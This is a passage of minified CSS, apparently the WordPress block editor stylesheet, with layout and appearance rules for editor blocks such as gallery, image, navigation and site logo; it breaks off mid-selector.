.mce-container-body.mce-abs-layout{overflow:visible}.block-library-classic__toolbar .mce-menubar,.block-library-classic__toolbar div.mce-toolbar-grp{position:static}.block-library-classic__toolbar .mce-toolbar-grp>div{padding:1px 3px}.block-library-classic__toolbar .mce-toolbar-grp .mce-toolbar:not(:first-child){display:none}.block-library-classic__toolbar.has-advanced-toolbar .mce-toolbar-grp .mce-toolbar{display:block}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{height:50vh!important}@media (min-width:960px){.block-editor-freeform-modal .block-editor-freeform-modal__content:not(.is-full-screen){height:9999rem}.block-editor-freeform-modal .block-editor-freeform-modal__content .components-modal__header+div{height:100%}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-tinymce{height:calc(100% - 52px)}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-container-body{display:flex;flex-direction:column;height:100%;min-width:50vw}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area{display:flex;flex-direction:column;flex-grow:1}.block-editor-freeform-modal .block-editor-freeform-modal__content .mce-edit-area iframe{flex-grow:1;height:10px!important}}.block-editor-freeform-modal__actions{margin-top:16px}figure.wp-block-gallery{display:block}figure.wp-block-gallery>.blocks-gallery-caption{flex:0 0 100%}figure.wp-block-gallery>.blocks-gallery-media-placeholder-wrapper{flex-basis:100%}figure.wp-block-gallery .wp-block-image .components-notice.is-error{display:block}figure.wp-block-gallery .wp-block-image .components-notice__content{margin:4px 0}figure.wp-block-gallery .wp-block-image .components-notice__dismiss{position:absolute;right:5px;top:0}figure.wp-block-gallery .block-editor-media-placeholder.is-appender .components-placeholder__label{display:none}figure.wp-block-gallery .block-editor-media-placeholder.is-appender .block-editor-media-placeholder__button{margin-bottom:0}figure.wp-block-gallery .block-editor-media-placeholder{margin:0}figure.wp-block-gallery .block-editor-media-placeholder .components-placeholder__label{display:flex}figure.wp-block-gallery .block-editor-media-placeholder figcaption{z-index:2}figure.wp-block-gallery .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}.gallery-settings-buttons .components-button:first-child{margin-right:8px}.gallery-image-sizes .components-base-control__label{display:block;margin-bottom:4px}.gallery-image-sizes .gallery-image-sizes__loading{align-items:center;color:#757575;display:flex;font-size:12px}.gallery-image-sizes .components-spinner{margin:0 8px 0 4px}.blocks-gallery-item figure:not(.is-selected):focus,.blocks-gallery-item img:focus{outline:none}.blocks-gallery-item figure.is-selected:before{bottom:0;box-shadow:0 0 0 1px #fff inset,0 0 0 3px var(--wp-admin-theme-color) inset;content:"";left:0;outline:2px solid #0000;pointer-events:none;position:absolute;right:0;top:0;z-index:1}.blocks-gallery-item figure.is-transient img{opacity:.3}.blocks-gallery-item .is-selected .block-library-gallery-item__inline-menu{display:inline-flex}.blocks-gallery-item .block-editor-media-placeholder{height:100%;margin:0}.blocks-gallery-item .block-editor-media-placeholder .components-placeholder__label{display:flex}.block-library-gallery-item__inline-menu{background:#fff;border:1px solid #1e1e1e;border-radius:2px;display:none;margin:8px;position:absolute;top:-2px;transition:box-shadow .2s ease-out;z-index:20}@media (prefers-reduced-motion:reduce){.block-library-gallery-item__inline-menu{transition-delay:0s;transition-duration:0s}}.block-library-gallery-item__inline-menu:hover{box-shadow:0 .7px 1px #0000001a,0 1.2px 1.7px -.2px #0000001a,0 2.3px 3.3px -.5px #0000001a}@media (min-width:600px){.columns-7 .block-library-gallery-item__inline-menu,.columns-8 .block-library-gallery-item__inline-menu{padding:2px}}.block-library-gallery-item__inline-menu .components-button.has-icon:not(:focus){border:none;box-shadow:none}@media (min-width:600px){.columns-7 .block-library-gallery-item__inline-menu .components-button.has-icon,.columns-8 .block-library-gallery-item__inline-menu .components-button.has-icon{height:inherit;padding:0;width:inherit}}.block-library-gallery-item__inline-menu.is-left{left:-2px}.block-library-gallery-item__inline-menu.is-right{right:-2px}.wp-block-gallery ul.blocks-gallery-grid{margin:0;padding:0}@media (min-width:600px){.wp-block-update-gallery-modal{max-width:480px}}.wp-block-update-gallery-modal-buttons{display:flex;gap:12px;justify-content:flex-end}.wp-block-group .block-editor-block-list__insertion-point{left:0;right:0}[data-type="core/group"].is-selected .block-list-appender{margin-left:0;margin-right:0}[data-type="core/group"].is-selected .has-background .block-list-appender{margin-bottom:18px;margin-top:18px}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child{gap:inherit;pointer-events:none}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-default-block-appender__content,.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{display:inherit;flex:1;flex-direction:inherit;width:100%}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after{border:1px dashed;border-radius:2px;content:"";display:flex;flex:1 0 48px;min-height:46px;pointer-events:none}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child:after:before{background:currentColor;bottom:0;content:"";left:0;opacity:.1;pointer-events:none;position:absolute;right:0;top:0}.wp-block-group.is-layout-flex.block-editor-block-list__block>.block-list-appender:only-child .block-editor-inserter{pointer-events:all}.wp-block-group__placeholder .wp-block-group-placeholder__variations{display:flex;flex-direction:row;flex-wrap:wrap;justify-content:center;list-style:none;margin:0;padding:0;width:100%}.wp-block-group__placeholder .components-placeholder__instructions{margin-bottom:18px;text-align:center}.wp-block-group__placeholder .wp-block-group-placeholder__variations svg{fill:#ccc!important}.wp-block-group__placeholder .wp-block-group-placeholder__variations svg:hover{fill:var(--wp-admin-theme-color)!important}.wp-block-group__placeholder .wp-block-group-placeholder__variations>li{align-items:center;display:flex;flex-direction:column;margin:0 12px 12px;width:auto}.wp-block-group__placeholder .wp-block-group-placeholder__variations li>.wp-block-group-placeholder__variation-button{height:32px;padding:0;width:44px}.wp-block-group__placeholder .wp-block-group-placeholder__variations li>.wp-block-group-placeholder__variation-button:hover{box-shadow:none}.wp-block-group__placeholder .components-placeholder{min-height:auto;padding:24px}.wp-block-group__placeholder .is-medium .wp-block-group-placeholder__variations>li,.wp-block-group__placeholder .is-small .wp-block-group-placeholder__variations>li{margin:12px}.block-library-html__edit .block-library-html__preview-overlay{height:100%;left:0;position:absolute;top:0;width:100%}.block-library-html__edit .block-editor-plain-text{background:#fff!important;border:1px solid #1e1e1e!important;border-radius:2px!important;box-shadow:none!important;box-sizing:border-box;color:#1e1e1e!important;font-family:Menlo,Consolas,monaco,monospace!important;font-size:16px!important;max-height:250px;padding:12px!important}@media (min-width:600px){.block-library-html__edit .block-editor-plain-text{font-size:13px!important}}.block-library-html__edit .block-editor-plain-text:focus{border-color:var(--wp-admin-theme-color)!important;box-shadow:0 0 0 1px var(--wp-admin-theme-color)!important;outline:2px solid #0000!important}.wp-block-image.wp-block-image.is-selected .components-placeholder{background-color:#fff;border:none;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;color:#1e1e1e;filter:none!important}.wp-block-image.wp-block-image.is-selected .components-placeholder>svg{opacity:0}.wp-block-image.wp-block-image.is-selected .components-placeholder .components-placeholder__illustration{display:none}.wp-block-image.wp-block-image .block-bindings-media-placeholder-message,.wp-block-image.wp-block-image.is-selected .components-placeholder:before{opacity:0}.wp-block-image.wp-block-image.is-selected .block-bindings-media-placeholder-message{opacity:1}.wp-block-image.wp-block-image .components-button,.wp-block-image.wp-block-image .components-placeholder__instructions,.wp-block-image.wp-block-image .components-placeholder__label{transition:none}figure.wp-block-image:not(.wp-block){margin:0}.wp-block-image{position:relative}.wp-block-image .is-applying img,.wp-block-image.is-transient img{opacity:.3}.wp-block-image figcaption img{display:inline}.wp-block-image .components-spinner{left:50%;position:absolute;top:50%;transform:translate(-50%,-50%)}.wp-block-image .components-resizable-box__container{display:table}.wp-block-image .components-resizable-box__container img{display:block;height:inherit;width:inherit}.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{left:0;margin:-1px 0;position:absolute;right:0}@media (min-width:600px){.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{margin:-1px}}[data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{height:auto;width:100%}.wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{display:table}.wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{caption-side:bottom;display:table-caption}.wp-block[data-align=left]>.wp-block-image{margin:.5em 1em .5em 0}.wp-block[data-align=right]>.wp-block-image{margin:.5em 0 .5em 1em}.wp-block[data-align=center]>.wp-block-image{margin-left:auto;margin-right:auto;text-align:center}.wp-block-image__crop-area{max-width:100%;overflow:hidden;position:relative;width:100%}.wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image{border:none;border-radius:0}.wp-block-image__crop-icon{align-items:center;display:flex;justify-content:center;min-width:48px;padding:0 8px}.wp-block-image__crop-icon svg{fill:currentColor}.wp-block-image__zoom .components-popover__content{min-width:260px;overflow:visible!important}.wp-block-image__aspect-ratio{align-items:center;display:flex;height:46px;margin-bottom:-8px}.wp-block-image__aspect-ratio .components-button{padding-left:0;padding-right:0;width:36px}.wp-block-image__toolbar_content_textarea{width:250px}.wp-block-latest-posts{padding-left:2.5em}.wp-block-latest-posts.is-grid{padding-left:0}.wp-block-latest-posts>li{overflow:hidden}.wp-block-latest-posts li a>div{display:inline}.edit-post-visual-editor .wp-block-latest-posts.is-grid li{margin-bottom:20px}.editor-latest-posts-image-alignment-control .components-base-control__label{display:block}.editor-latest-posts-image-alignment-control .components-toolbar{border-radius:2px}.wp-block-media-text__media{position:relative}.wp-block-media-text__media.is-transient img{opacity:.3}.wp-block-media-text__media .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}.wp-block-media-text .__resizable_base__{grid-column:1/span 2;grid-row:2}.wp-block-media-text .editor-media-container__resizer{width:100%!important}.wp-block-media-text.is-image-fill .editor-media-container__resizer{height:100%!important}.wp-block-media-text>.block-editor-block-list__layout>.block-editor-block-list__block{max-width:unset}.block-editor-block-list__block[data-type="core/more"]{margin-bottom:28px;margin-top:28px;max-width:100%;text-align:center}.wp-block-more{display:block;text-align:center;white-space:nowrap}.wp-block-more input[type=text]{background:#fff;border:none;border-radius:4px;box-shadow:none;color:#757575;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;height:24px;margin:0;max-width:100%;padding:6px 8px;position:relative;text-align:center;text-transform:uppercase;white-space:nowrap}.wp-block-more input[type=text]:focus{box-shadow:none}.wp-block-more:before{border-top:3px dashed #ccc;content:"";left:0;position:absolute;right:0;top:50%}.editor-styles-wrapper .wp-block-navigation ul{margin-bottom:0;margin-left:0;margin-top:0;padding-left:0}.editor-styles-wrapper .wp-block-navigation .wp-block-navigation-item.wp-block{margin:revert}.wp-block-navigation-item__label{display:inline}.wp-block-navigation-item,.wp-block-navigation__container{background-color:inherit}.wp-block-navigation:not(.is-selected):not(.has-child-selected) .has-child:hover>.wp-block-navigation__submenu-container{opacity:0;visibility:hidden}.has-child.has-child-selected>.wp-block-navigation__submenu-container,.has-child.is-selected>.wp-block-navigation__submenu-container{display:flex;opacity:1;visibility:visible}.is-dragging-components-draggable .has-child.is-dragging-within>.wp-block-navigation__submenu-container{opacity:1;visibility:visible}.is-editing>.wp-block-navigation__container{display:flex;flex-direction:column;opacity:1;visibility:visible}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container{opacity:1;visibility:hidden}.is-dragging-components-draggable .wp-block-navigation-link>.wp-block-navigation__container .block-editor-block-draggable-chip-wrapper{visibility:visible}.is-editing>.wp-block-navigation__submenu-container>.block-list-appender{display:block;position:static;width:100%}.is-editing>.wp-block-navigation__submenu-container>.block-list-appender .block-editor-button-block-appender{background:#1e1e1e;border-radius:2px;color:#fff;margin-left:auto;margin-right:0;padding:0;width:24px}.wp-block-navigation__submenu-container .block-list-appender{display:none}.block-library-colors-selector{width:auto}.block-library-colors-selector .block-library-colors-selector__toggle{display:block;margin:0 auto;padding:3px;width:auto}.block-library-colors-selector .block-library-colors-selector__icon-container{align-items:center;border-radius:4px;display:flex;height:30px;margin:0 auto;padding:3px;position:relative}.block-library-colors-selector .block-library-colors-selector__state-selection{border-radius:11px;box-shadow:inset 0 0 0 1px #0003;height:22px;line-height:20px;margin-left:auto;margin-right:auto;min-height:22px;min-width:22px;padding:2px;width:22px}.block-library-colors-selector .block-library-colors-selector__state-selection>svg{min-width:auto!important}.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg,.block-library-colors-selector .block-library-colors-selector__state-selection.has-text-color>svg path{color:inherit}.block-library-colors-selector__popover .color-palette-controller-container{padding:16px}.block-library-colors-selector__popover .components-base-control__label{height:20px;line-height:20px}.block-library-colors-selector__popover .component-color-indicator{float:right;margin-top:2px}.block-library-colors-selector__popover .components-panel__body-title{display:none}.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender{background-color:#1e1e1e;color:#fff}.wp-block-navigation .wp-block+.block-list-appender .block-editor-button-block-appender.block-editor-button-block-appender.block-editor-button-block-appender{padding:0}.wp-block-navigation .wp-block .wp-block .block-editor-button-block-appender{background-color:initial;color:#1e1e1e}@keyframes loadingpulse{0%{opacity:1}50%{opacity:.5}to{opacity:1}}.components-placeholder.wp-block-navigation-placeholder{background:none;box-shadow:none;color:inherit;min-height:0;outline:none;padding:0}.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset{font-size:inherit}.components-placeholder.wp-block-navigation-placeholder .components-placeholder__fieldset .components-button{margin-bottom:0}.wp-block-navigation.is-selected .components-placeholder.wp-block-navigation-placeholder{color:#1e1e1e}.wp-block-navigation-placeholder__preview{align-items:center;background:#0000;color:currentColor;display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;min-width:96px}.wp-block-navigation.is-selected .wp-block-navigation-placeholder__preview{display:none}.wp-block-navigation-placeholder__preview:before{border:1px dashed;border-radius:2px;border-radius:inherit;bottom:0;content:"";display:block;left:0;pointer-events:none;position:absolute;right:0;top:0}.wp-block-navigation-placeholder__preview:before:before{background:currentColor;bottom:0;content:"";left:0;opacity:.1;pointer-events:none;position:absolute;right:0;top:0}.wp-block-navigation-placeholder__preview>svg{fill:currentColor}.wp-block-navigation.is-vertical .is-medium .components-placeholder__fieldset,.wp-block-navigation.is-vertical .is-small .components-placeholder__fieldset{min-height:90px}.wp-block-navigation.is-vertical .is-large .components-placeholder__fieldset{min-height:132px}.wp-block-navigation-placeholder__controls,.wp-block-navigation-placeholder__preview{align-items:flex-start;flex-direction:row;padding:6px 8px}.wp-block-navigation-placeholder__controls{background-color:#fff;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;display:none;float:left;position:relative;width:100%;z-index:1}.wp-block-navigation.is-selected .wp-block-navigation-placeholder__controls{display:flex}.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-medium .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator,.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions__indicator+hr{display:none}.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions{align-items:flex-start;flex-direction:column}.is-small .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr,.wp-block-navigation.is-vertical .wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__actions hr{display:none}.wp-block-navigation-placeholder__controls .wp-block-navigation-placeholder__icon{height:36px;margin-right:12px}.wp-block-navigation-placeholder__actions__indicator{align-items:center;display:flex;height:36px;justify-content:flex-start;line-height:0;margin-left:4px;padding:0 6px 0 0}.wp-block-navigation-placeholder__actions__indicator svg{margin-right:4px;fill:currentColor}.wp-block-navigation .components-placeholder.is-medium .components-placeholder__fieldset{flex-direction:row!important}.wp-block-navigation-placeholder__actions{align-items:center;display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;gap:6px;height:100%}.wp-block-navigation-placeholder__actions .components-dropdown,.wp-block-navigation-placeholder__actions>.components-button{margin-right:0}.wp-block-navigation-placeholder__actions.wp-block-navigation-placeholder__actions hr{background-color:#1e1e1e;border:0;height:100%;margin:auto 0;max-height:16px;min-height:1px;min-width:1px}@media (min-width:600px){.wp-block-navigation__responsive-container:not(.is-menu-open) .components-button.wp-block-navigation__responsive-container-close{display:none}}.wp-block-navigation__responsive-container.is-menu-open{position:fixed;top:155px}@media (min-width:782px){.wp-block-navigation__responsive-container.is-menu-open{left:36px;top:93px}}@media (min-width:960px){.wp-block-navigation__responsive-container.is-menu-open{left:160px}}@media (min-width:782px){.has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{top:141px}}.is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{top:141px}.is-sidebar-opened .wp-block-navigation__responsive-container.is-menu-open{right:280px}.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{left:0;top:155px}@media (min-width:782px){.is-fullscreen-mode .wp-block-navigation__responsive-container.is-menu-open{top:61px}.is-fullscreen-mode .has-fixed-toolbar .wp-block-navigation__responsive-container.is-menu-open{top:109px}}.is-fullscreen-mode .is-mobile-preview .wp-block-navigation__responsive-container.is-menu-open,.is-fullscreen-mode .is-tablet-preview .wp-block-navigation__responsive-container.is-menu-open{top:109px}body.editor-styles-wrapper .wp-block-navigation__responsive-container.is-menu-open{bottom:0;left:0;right:0;top:0}.components-button.wp-block-navigation__responsive-container-close.wp-block-navigation__responsive-container-close,.components-button.wp-block-navigation__responsive-container-open.wp-block-navigation__responsive-container-open{color:inherit;height:auto;padding:0}.components-heading.wp-block-navigation-off-canvas-editor__title{margin:0}.wp-block-navigation-off-canvas-editor__header{margin-bottom:8px}.is-menu-open .wp-block-navigation__responsive-container-content * .block-list-appender{margin-top:16px}@keyframes fadein{0%{opacity:0}to{opacity:1}}.wp-block-navigation__loading-indicator-container{padding:8px 12px}.wp-block-navigation .wp-block-navigation__uncontrolled-inner-blocks-loading-indicator{margin-top:0}@keyframes fadeouthalf{0%{opacity:1}to{opacity:.5}}.wp-block-navigation-delete-menu-button{justify-content:center;margin-bottom:16px;width:100%}.components-button.is-link.wp-block-navigation-manage-menus-button{margin-bottom:16px}.wp-block-navigation__overlay-menu-preview{align-items:center;background-color:#f0f0f0;display:flex;height:64px;justify-content:space-between;margin-bottom:12px;padding:0 24px;width:100%}.wp-block-navigation__overlay-menu-preview.open{background-color:#fff;box-shadow:inset 0 0 0 1px #e0e0e0;outline:1px solid #0000}.wp-block-navigation-placeholder__actions hr+hr,.wp-block-navigation__toolbar-menu-selector.components-toolbar-group:empty{display:none}.wp-block-navigation__navigation-selector{margin-bottom:16px;width:100%}.wp-block-navigation__navigation-selector-button{border:1px solid;justify-content:space-between;width:100%}.wp-block-navigation__navigation-selector-button__icon{flex:0 0 auto}.wp-block-navigation__navigation-selector-button__label{flex:0 1 auto;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.wp-block-navigation__navigation-selector-button--createnew{border:1px solid;margin-bottom:16px;width:100%}.wp-block-navigation__responsive-container-open.components-button{opacity:1}.wp-block-navigation__menu-inspector-controls{overflow-x:auto;scrollbar-color:#0000 #0000;scrollbar-gutter:stable both-edges;scrollbar-width:thin;will-change:transform}.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar{height:12px;width:12px}.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-track{background-color:initial}.wp-block-navigation__menu-inspector-controls::-webkit-scrollbar-thumb{background-clip:padding-box;background-color:initial;border:3px solid #0000;border-radius:8px}.wp-block-navigation__menu-inspector-controls:focus-within::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:focus::-webkit-scrollbar-thumb,.wp-block-navigation__menu-inspector-controls:hover::-webkit-scrollbar-thumb{background-color:#949494}.wp-block-navigation__menu-inspector-controls:focus,.wp-block-navigation__menu-inspector-controls:focus-within,.wp-block-navigation__menu-inspector-controls:hover{scrollbar-color:#949494 #0000}@media (hover:none){.wp-block-navigation__menu-inspector-controls{scrollbar-color:#949494 #0000}}.wp-block-navigation__menu-inspector-controls__empty-message{margin-left:24px}.wp-block-navigation .block-list-appender{position:relative}.wp-block-navigation .has-child{cursor:pointer}.wp-block-navigation .has-child .wp-block-navigation__submenu-container{z-index:28}.wp-block-navigation .has-child:hover .wp-block-navigation__submenu-container{z-index:29}.wp-block-navigation .has-child.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation .has-child.is-selected>.wp-block-navigation__submenu-container{height:auto!important;min-width:200px!important;opacity:1!important;overflow:visible!important;visibility:visible!important;width:auto!important}.wp-block-navigation-item .wp-block-navigation-item__content{cursor:text}.wp-block-navigation-item.is-editing,.wp-block-navigation-item.is-selected{min-width:20px}.wp-block-navigation-item .block-list-appender{margin:16px auto 16px 16px}.wp-block-navigation-link__invalid-item{color:#000}.wp-block-navigation-link__placeholder{background-image:none!important;box-shadow:none!important;position:relative;text-decoration:none!important}.wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{--wp-underline-color:var(--wp-admin-theme-color);background-image:linear-gradient(45deg,#0000 20%,var(--wp-underline-color) 30%,var(--wp-underline-color) 36%,#0000 46%),linear-gradient(135deg,#0000 54%,var(--wp-underline-color) 64%,var(--wp-underline-color) 70%,#0000 80%);background-position:0 100%;background-repeat:repeat-x;background-size:6px 3px;padding-bottom:.1em}.is-dark-theme .wp-block-navigation-link__placeholder .wp-block-navigation-link__placeholder-text span{--wp-underline-color:#fff}.wp-block-navigation-link__placeholder.wp-block-navigation-item__content{cursor:pointer}.link-control-transform{border-top:1px solid #ccc;padding:0 16px 8px}.link-control-transform__subheading{color:#1e1e1e;font-size:11px;font-weight:500;margin-bottom:1.5em;text-transform:uppercase}.link-control-transform__items{display:flex;justify-content:space-between}.link-control-transform__item{flex-basis:33%;flex-direction:column;gap:8px;height:auto}.wp-block-navigation-submenu{display:block}.wp-block-navigation-submenu .wp-block-navigation__submenu-container{z-index:28}.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container{height:auto!important;left:-1px;min-width:200px!important;opacity:1!important;position:absolute;top:100%;visibility:visible!important;width:auto!important}@media (min-width:782px){.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container{left:100%;top:-1px}.wp-block-navigation-submenu.has-child-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before,.wp-block-navigation-submenu.is-selected>.wp-block-navigation__submenu-container .wp-block-navigation__submenu-container:before{background:#0000;content:"";display:block;height:100%;position:absolute;right:100%;width:.5em}}.block-editor-block-list__block[data-type="core/nextpage"]{margin-bottom:28px;margin-top:28px;max-width:100%;text-align:center}.wp-block-nextpage{display:block;text-align:center;white-space:nowrap}.wp-block-nextpage>span{background:#fff;border-radius:4px;color:#757575;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:600;height:24px;padding:6px 8px;position:relative;text-transform:uppercase}.wp-block-nextpage:before{border-top:3px dashed #ccc;content:"";left:0;position:absolute;right:0;top:50%}.wp-block-navigation .wp-block-page-list,.wp-block-navigation .wp-block-page-list>div{background-color:inherit}.wp-block-navigation.items-justified-space-between .wp-block-page-list,.wp-block-navigation.items-justified-space-between .wp-block-page-list>div{display:contents;flex:1}.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.has-child-selected .wp-block-page-list>div,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list,.wp-block-navigation.items-justified-space-between.is-selected .wp-block-page-list>div{flex:inherit}.wp-block-navigation .wp-block-navigation__submenu-container>.wp-block-page-list{display:block}.wp-block-pages-list__item__link{pointer-events:none}@media (min-width:600px){.wp-block-page-list-modal{max-width:480px}}.wp-block-page-list-modal-buttons{display:flex;gap:12px;justify-content:flex-end}.wp-block-page-list .open-on-click:focus-within>.wp-block-navigation__submenu-container{height:auto;min-width:200px;opacity:1;visibility:visible;width:auto}.wp-block-page-list__loading-indicator-container{padding:8px 12px}.block-editor-block-list__block[data-type="core/paragraph"].has-drop-cap:focus{min-height:auto!important}.block-editor-block-list__block[data-empty=true] [data-rich-text-placeholder]{opacity:1}.block-editor-block-list__block[data-empty=true]+.block-editor-block-list__block[data-empty=true]:not([data-custom-placeholder=true]) [data-rich-text-placeholder]{opacity:0}.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-left[style*="writing-mode: vertical-lr"],.block-editor-block-list__block[data-type="core/paragraph"].has-text-align-right[style*="writing-mode: vertical-rl"]{rotate:180deg}.wp-block-post-excerpt .wp-block-post-excerpt__excerpt.is-inline{display:inline}.wp-block-pullquote.is-style-solid-color blockquote p{font-size:32px}.wp-block-pullquote.is-style-solid-color .wp-block-pullquote__citation{font-style:normal;text-transform:none}.wp-block-pullquote .wp-block-pullquote__citation{color:inherit}.wp-block-rss li a>div{display:inline}.wp-block-rss__placeholder-form>*{margin-bottom:8px}@media (min-width:782px){.wp-block-rss__placeholder-form>*{margin-bottom:0}}.wp-block-rss__placeholder-form .wp-block-rss__placeholder-input{flex:1;min-width:80%}.wp-block[data-align=center] .wp-block-search .wp-block-search__inside-wrapper{margin:auto}.wp-block-search .wp-block-search__button{align-items:center;border-radius:initial;display:flex;height:auto;justify-content:center;text-align:center}.wp-block-search__components-button-group{margin-top:10px}.block-editor-block-list__block[data-type="core/separator"]{padding-bottom:.1px;padding-top:.1px}.block-editor-block-list__block[data-type="core/separator"].wp-block-separator.is-style-dots{background:none!important;border:none}[data-type="core/shortcode"].components-placeholder{min-height:0}.blocks-shortcode__textarea{background:#fff!important;border:1px solid #1e1e1e!important;border-radius:2px!important;box-shadow:none!important;box-sizing:border-box;color:#1e1e1e!important;font-family:Menlo,Consolas,monaco,monospace!important;font-size:16px!important;max-height:250px;padding:12px!important;resize:none}@media (min-width:600px){.blocks-shortcode__textarea{font-size:13px!important}}.blocks-shortcode__textarea:focus{border-color:var(--wp-admin-theme-color)!important;box-shadow:0 0 0 1px var(--wp-admin-theme-color)!important;outline:2px solid #0000!important}.wp-block-site-logo.aligncenter>div,.wp-block[data-align=center]>.wp-block-site-logo{display:table;margin-left:auto;margin-right:auto}.wp-block-site-logo a{pointer-events:none}.wp-block-site-logo .custom-logo-link{cursor:inherit}.wp-block-site-logo .custom-logo-link:focus{box-shadow:none}.wp-block-site-logo .custom-logo-link.is-transient img{opacity:.3}.wp-block-site-logo img{display:block;height:auto;max-width:100%}.wp-block-site-logo.wp-block-site-logo.is-default-size .components-placeholder{height:60px;width:60px}.wp-block-site-logo.wp-block-site-logo .components-resizable-box__container,.wp-block-site-logo.wp-block-site-logo>div{border-radius:inherit}.wp-block-site-logo.wp-block-site-logo .components-placeholder{align-items:center;border-radius:inherit;display:flex;height:100%;justify-content:center;min-height:48px;min-width:48px;padding:0;width:100%}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-drop-zone__content-text,.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-form-file-upload{display:none}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button{align-items:center;background:var(--wp-admin-theme-color);border-color:var(--wp-admin-theme-color);border-radius:50%;border-style:solid;color:#fff;display:flex;height:48px;justify-content:center;padding:0;position:relative;width:48px}.wp-block-site-logo.wp-block-site-logo .components-placeholder .components-button.components-button>svg{color:inherit}.block-library-site-logo__inspector-upload-container{position:relative}.block-library-site-logo__inspector-upload-container .components-drop-zone__content-icon{display:none}.block-library-site-logo__inspector-media-replace-container button.components-button,.block-library-site-logo__inspector-upload-container button.components-button{box-shadow:inset 0 0 0 1px #ccc;color:#1e1e1e;display:block;height:40px;width:100%}.block-library-site-logo__inspector-media-replace-container button.components-button:hover,.block-library-site-logo__inspector-upload-container button.components-button:hover{color:var(--wp-admin-theme-color)}.block-library-site-logo__inspector-media-replace-container button.components-button:focus,.block-library-site-logo__inspector-upload-container button.components-button:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-media-replace-title,.block-library-site-logo__inspector-upload-container .block-library-site-logo__inspector-media-replace-title{text-align:start;text-align-last:center;white-space:normal;word-break:break-all}.block-library-site-logo__inspector-media-replace-container .components-dropdown{display:block}.block-library-site-logo__inspector-media-replace-container img{aspect-ratio:1;border-radius:50%!important;box-shadow:inset 0 0 0 1px #0003;min-width:20px;width:20px}.block-library-site-logo__inspector-media-replace-container .block-library-site-logo__inspector-readonly-logo-preview{display:flex;height:40px;padding:6px 12px}.wp-block-site-tagline__placeholder,.wp-block-site-title__placeholder{border:1px dashed;padding:1em 0}.editor-styles-wrapper .wp-block-site-title a{color:inherit}.wp-block-social-links 